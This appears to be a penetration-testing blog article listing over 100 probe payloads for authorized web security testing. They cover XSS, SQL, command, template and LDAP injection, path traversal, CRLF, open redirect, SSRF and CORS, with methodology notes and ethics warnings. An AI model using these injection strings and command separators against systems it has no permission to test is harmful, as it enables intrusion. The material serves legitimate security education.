100+ Useful Payloads for Web Security Testing

Author: Trix Cyrus

Waymap Pentesting Tool: Click Here
TrixSec Github: Click Here
TrixSec Telegram: Click Here

Web applications constantly process user-controlled input. When that input is handled incorrectly, it can lead to vulnerabilities such as Cross-Site Scripting (XSS), SQL Injection, Server-Side Template Injection (SSTI), Command Injection, Path Traversal, and more.

Security researchers and penetration testers often use small, controlled payloads to determine how an application processes unexpected input.

This article contains 100+ practical payload examples for authorized web security testing. Use them only against applications you own or have explicit permission to test.

1. Basic XSS Payloads

Cross-Site Scripting occurs when an application places untrusted input into a page without properly encoding it.

Basic payloads:

<script>alert(1)</script>

<script>alert(document.domain)</script>

<script>alert(document.title)</script>

<img src=x onerror=alert(1)>

<svg onload=alert(1)>

<body onload=alert(1)>

<input autofocus onfocus=alert(1)>

<details open ontoggle=alert(1)>

<marquee onstart=alert(1)>

<video src=x onerror=alert(1)>

These are primarily useful for determining whether arbitrary HTML or JavaScript can execute in the browser.

2. HTML Injection Payloads

HTML injection does not necessarily require JavaScript execution.

Try simple HTML elements first:

<h1>TEST</h1>

<b>Injected Content</b>

<i>Security Test</i>

<mark>TEST</mark>

<div>Injected HTML</div>

<a href="https://example.com">TEST</a>

<img src="invalid">

If these elements are rendered rather than encoded, investigate the context further.

3. Attribute Injection

When user input is inserted into an HTML attribute, test whether you can escape the existing attribute.

" test

' test

" autofocus

' autofocus

" onfocus=alert(1) autofocus="

' onfocus=alert(1) autofocus='

The exact payload depends heavily on the surrounding HTML context.

4. SQL Injection Detection Payloads

SQL injection occurs when user-controlled input is incorporated into SQL queries unsafely.

Start with harmless syntax probes:

'

"

`

')

")

'))

"--

'--

Boolean-based testing can use paired inputs such as:

' AND 1=1--

' AND 1=2--

' OR 1=1--

' OR 1=2--

The goal is to compare application behavior between logically equivalent and contradictory conditions.

Tip: A single error is not proof of SQL injection. Compare responses, status codes, content length, timing, and application behavior.

5. Numeric SQL Injection Testing

Applications frequently use numeric parameters.

For example:

1

1'

1"

1 AND 1=1

1 AND 1=2

1 OR 1=1

1 OR 1=2

These can help determine whether a numeric parameter is being incorporated into a database query.

6. JSON Injection Testing

Modern APIs frequently accept JSON.

Try malformed or unexpected values in controlled environments:

{"id":"1"}

{"id":"1'"}

{"id":"1\""}

{"name":"<test>"}

{"name":"<script>alert(1)</script>"}

Also test unexpected types:

{"id":null}

{"id":[]}

{"id":{}}

{"id":true}

Unexpected types can expose validation and authorization weaknesses.

7. Path Traversal Payloads

Path traversal occurs when applications construct filesystem paths from untrusted input without proper validation.

Basic traversal probes:

../

../../

../../../

../../../../

Encoded variants:

..%2f

%2e%2e%2f

%2e%2e/

..%252f

Windows-style traversal:

..\ 

..\..\ 

..%5c

Double-encoded traversal:

%252e%252e%252f

Always test traversal against a controlled application containing intentionally created test files.

8. Command Injection Detection

Command injection happens when user input reaches an operating-system command interpreter.

Safe separators and probes for controlled labs include:

;

|

&&

||

&

$(...)

`...`

For a test application, you can use a harmless marker:

; echo TEST

| echo TEST

&& echo TEST

$(echo TEST)

`echo TEST`

A returned TEST marker can help demonstrate command execution without interacting with sensitive system resources.

9. Server-Side Template Injection (SSTI)

SSTI occurs when user-controlled input is interpreted as a server-side template.

Common mathematical probes include:

{{7*7}}

{{7+7}}

${7*7}

<%= 7*7 %>

#{7*7}

*{7*7}

If an application transforms these into a calculated value such as 49, investigate which template engine is processing the input.

10. LDAP Injection Testing

LDAP-backed applications should also validate user input.

Basic probes:

*

)(

*

admin*

*)(uid=*)

*)(objectClass=*)

Use these only against authorized LDAP applications or intentionally vulnerable labs.

11. XML Injection Testing

For applications accepting XML, start with simple malformed structures:

<test>hello</test>

<test><value>hello</value></test>

<test></value></test>

<test><![CDATA[test]]></test>

You can also test whether unexpected XML structures are accepted by the parser.

For XXE testing, use a dedicated local laboratory rather than testing external systems.

12. HTTP Header Injection

Applications that reflect user-controlled values into HTTP headers can be vulnerable to header injection.

Test special characters such as:

%0d%0a

%0a

%0d

Encoded CRLF:

%0D%0A

A controlled test value can be:

test%0d%0aX-Test: injected

Then inspect the response headers.

13. Open Redirect Testing

If an application accepts a redirect parameter, test whether it accepts an external destination:

https://example.com

//example.com

https:%2f%2fexample.com

//example.com/test

For example:

/login?next=https://example.com

If the application redirects to an arbitrary external domain, investigate the behavior as a potential open redirect.

14. URL Parsing Tests

URL parsers can behave differently around unusual input.

Useful test values include:

https://example.com

//example.com

https://example.com/

https://example.com?test=1

https://example.com#test

https://example.com%2f

https://example.com%3f

These are useful when testing redirect, SSRF, URL validation, and allowlist implementations.

15. SSRF Detection

Server-Side Request Forgery occurs when an application can make network requests based on attacker-controlled input.

For authorized testing, use a server you control:

http://your-test-server.example/

https://your-test-server.example/ssrf-test

You can then monitor whether the application makes a request to your controlled endpoint.

For cloud environments, test metadata access only within an explicitly authorized lab.

16. Null Byte Testing

Some applications historically handled null bytes inconsistently.

Try:

%00

test%00

file.txt%00

../test%00

These can be useful when testing filename validation and parser differences.

17. Unicode and Encoding Tests

Input validation can behave differently after decoding.

Useful values include:

%3C

%3E

%22

%27

%2F

%5C

Double encoding:

%253C

%253E

%252F

%255C

These are particularly useful for testing whether validation happens before or after URL decoding.

18. Case Variation Tests

Some filters incorrectly assume a specific capitalization.

For example:

<ScRiPt>alert(1)</ScRiPt>

<IMG SRC=x ONERROR=alert(1)>

<Svg OnLoad=alert(1)>

Case variations can reveal weaknesses in poorly implemented filters.

19. Whitespace Testing

Applications and filters may treat whitespace differently.

Try:

test test

test%20test

test%09test

test%0atest

test%0dtest

Whitespace testing is particularly useful when investigating input normalization.

20. Authentication Testing Values

Authentication forms should be tested with unexpected input.

Examples:

'

"

admin

administrator

test

null

undefined

true

false

The goal is to identify differences in validation, error handling, and authentication logic rather than simply attempting random credentials.

21. Authorization / IDOR Testing

When an API uses object identifiers, change only the identifier while keeping the rest of the request identical.

For example:

/api/users/100

Test against another authorized test account:

/api/users/101

Similarly:

?id=100

?id=101

/user/100/profile

/user/101/profile

A security issue may exist if a user can access another user's resources without authorization.

22. File Upload Testing

File upload functionality should be tested with harmless files.

Examples:

test.txt

test.html

test.svg

test.jpg

Also test filename normalization:

test file.txt

test..txt

test%20file.txt

test%00.txt

The objective is to determine whether the application properly validates file type, extension, MIME type, filename, size, and storage location.

23. CORS Testing Values

When testing CORS configurations, use a domain you control:

https://your-test-origin.example

https://sub.your-test-origin.example

null

Then inspect whether the application returns unexpected:

Access-Control-Allow-Origin

or:

Access-Control-Allow-Credentials

combinations.

24. API Parameter Pollution

Try sending the same parameter multiple times:

?id=1&id=2

?role=user&role=admin

?redirect=/home&redirect=https://example.com

Different frameworks may interpret duplicate parameters differently.

This can expose inconsistencies between frontend validation, backend parsing, proxies, and application logic.

25. HTTP Method Testing

If an endpoint normally accepts:

GET

test whether it behaves unexpectedly with:

POST

PUT

PATCH

DELETE

OPTIONS

HEAD

Unexpectedly enabled methods can sometimes reveal functionality that was not intended to be publicly accessible.

26. Security Testing Markers

Sometimes the best payload is simply a unique marker.

Use values such as:

TRIXSEC_TEST_001

TRIXSEC_XSS_TEST

TRIXSEC_SSTI_TEST

TRIXSEC_SQLI_TEST

TRIXSEC_SSRF_TEST

TRIXSEC_CANARY_12345

Unique markers make it much easier to identify where input is reflected or processed.

27. Payload Encoding Checklist

When a basic payload is blocked, don't immediately assume the application is secure.

Test how the application handles:

• URL encoding
• Double URL encoding
• HTML encoding
• Unicode
• Case changes
• Whitespace
• JSON escaping
• Backslash escaping
• Parameter duplication
• Content-Type changes
• Character normalization

For example:

<

can become:

%3C

and then:

%253C

This helps identify inconsistencies between different layers of an application.

28. Quick Payload Reference

Here is a compact list of useful testing values:

'
"
`
')
"))
--
#
;
|
&&
||
../
..%2f
%2e%2e%2f
%00
%0d
%0a
%0d%0a
*
)(
{{7*7}}
${7*7}
<%=7*7%>
<test>
<h1>TEST</h1>
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
" onfocus=alert(1) autofocus="
' onfocus=alert(1) autofocus='
TRIXSEC_TEST
TRIXSEC_XSS_TEST
TRIXSEC_SQLI_TEST
TRIXSEC_SSTI_TEST
TRIXSEC_SSRF_TEST

How to Use Payloads Effectively

Payloads are only one part of web security testing.

A good testing methodology is:

1. Find the input

Identify parameters, headers, cookies, JSON fields, URL paths, file uploads, and other user-controlled data.

2. Establish a baseline

Record the normal response:

• Status code
• Response size
• Response body
• Headers
• Response time
• Redirect behavior

3. Introduce a harmless marker

Use something like:

TRIXSEC_TEST_001

Determine whether the value is reflected, stored, transformed, or ignored.

4. Identify the context

Ask where your input appears:

HTML
HTML attribute
JavaScript
CSS
JSON
SQL
URL
HTTP header
Template
Filesystem path

5. Select an appropriate test

Use a payload designed for that specific context.

6. Compare the response

Look for meaningful differences rather than relying on a single error message.

7. Confirm safely

Reproduce the behavior using the smallest possible proof of concept.

Important: Payload ≠ Vulnerability

One of the biggest mistakes beginners make is assuming:

"My payload worked, therefore the application is vulnerable."

That isn't necessarily true.

For example, seeing:

<script>alert(1)</script>

in an HTTP response does not automatically mean XSS exists.

You need to determine whether the browser actually interprets the input as executable markup and whether the behavior occurs in a security-relevant context.

The same principle applies to SQL errors, template expressions, path traversal strings, and other probes.

Building Your Own Payload Wordlist

Instead of relying on one massive static list, organize payloads by vulnerability class:

payloads/
├── xss/
├── sqli/
├── ssti/
├── ssrf/
├── traversal/
├── command-injection/
├── cors/
├── open-redirect/
├── headers/
├── api/
└── encoding/

This makes automated security testing much easier because your scanner can select payloads based on the context it discovers.

For example:

Parameter discovered
        ↓
Identify parameter context
        ↓
Select payload category
        ↓
Send controlled probe
        ↓
Compare response
        ↓
Analyze result
        ↓
Generate finding

This is also a useful architecture for developing your own vulnerability scanner.

Useful Tools for Payload Testing

Some commonly used tools include:

1. Burp Suite — Intercepting requests, modifying parameters, and analyzing responses.
2. OWASP ZAP — Open-source web application security testing.
3. Waymap — Automated web vulnerability scanning.
4. ffuf — Web fuzzing and content discovery.
5. Nuclei — Template-based vulnerability detection.
6. httpx — HTTP probing and web service discovery.
7. Caido — Modern web security testing proxy.
8. Wireshark — Network traffic analysis.

Ethical Hacking and Legal Considerations

These payloads should only be used against:

• Your own applications
• Local security laboratories
• CTF environments
• Bug bounty targets within their published scope
• Systems where you have explicit authorization

Never use security testing payloads to access, modify, or extract data from systems without permission.

A good security researcher doesn't just know how to exploit a vulnerability.

They know when they are authorized to test it.

Conclusion

Payloads are fundamental building blocks of web application security testing, but a payload by itself does not prove a vulnerability.

The real skill is understanding:

• Where your input goes
• How the application processes it
• Which parser interprets it
• How different encoding layers interact
• How to distinguish a real vulnerability from a false positive

Start with simple probes, establish a baseline, understand the application's input context, and escalate testing only when the evidence supports it.

Most importantly, practice in controlled environments and use your security skills responsibly.

Happy Hunting & Stay Ethical!

~Trixsec